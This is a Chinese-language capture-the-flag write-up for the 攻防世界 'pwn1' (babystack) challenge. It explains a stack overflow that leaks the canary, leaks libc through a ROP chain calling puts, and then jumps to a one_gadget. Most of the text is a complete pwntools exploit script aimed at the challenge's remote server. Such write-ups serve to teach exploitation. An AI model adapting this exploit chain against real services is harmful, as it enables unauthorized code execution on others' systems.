攻防世界-pwn1-Writeup

原创

SkYe231_ 于 2020-05-13 23:13:48 发布 206 收藏

分类专栏： PWN 文章标签： 攻防世界 writeup pwn

pwn1

考点：栈溢出，canary绕过

基本情况

程序实现功能是往栈上读写数据。

保护措施

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

栈溢出

```
......
  while ( 1 )
  {
    menu();
    v3 = my_input();
    switch ( v3 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &s, 0x100uLL);                  // 栈溢出
        break;
......
```

栈溢出空间还是比较大的。

思路

使用栈溢出覆盖 canary 最后一字节，读取出 canary，成功绕过 canary 保护。

```
#Leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))
```

题目没有预留后门，并提供 libc ，所以泄露 libc 调用 onegadget getshell 。泄露 libc 需要借助输出函数，即需要控制 rip 调用。

泄露 libc 还需要 rop 回到 main 执行下一步操作。

```
#Leak libc
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))
```

最后再次控制 rip 。

```
#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)
add(payload)
leave()
```

EXP

```python
from pwn import *

context.log_level = 'debug'

#p = process("./babystack")
p = remote("124.126.19.106",51939)
elf = ELF("./babystack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(context):
    p.recvuntil(">> ")
    p.sendline('1')
    p.send(context)

def show():
    p.recvuntil(">> ")
    p.sendline('2')

def leave():
    p.recvuntil(">> ")
    p.sendline('3')

#Leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))

#Leak libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400a93
start_addr = 0x400720

payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
#gdb.attach(p)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
onegadget = libc_base + 0x45216
log.success("onegadget:"+hex(onegadget))

#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)

add(payload)
leave()

p.interactive()
```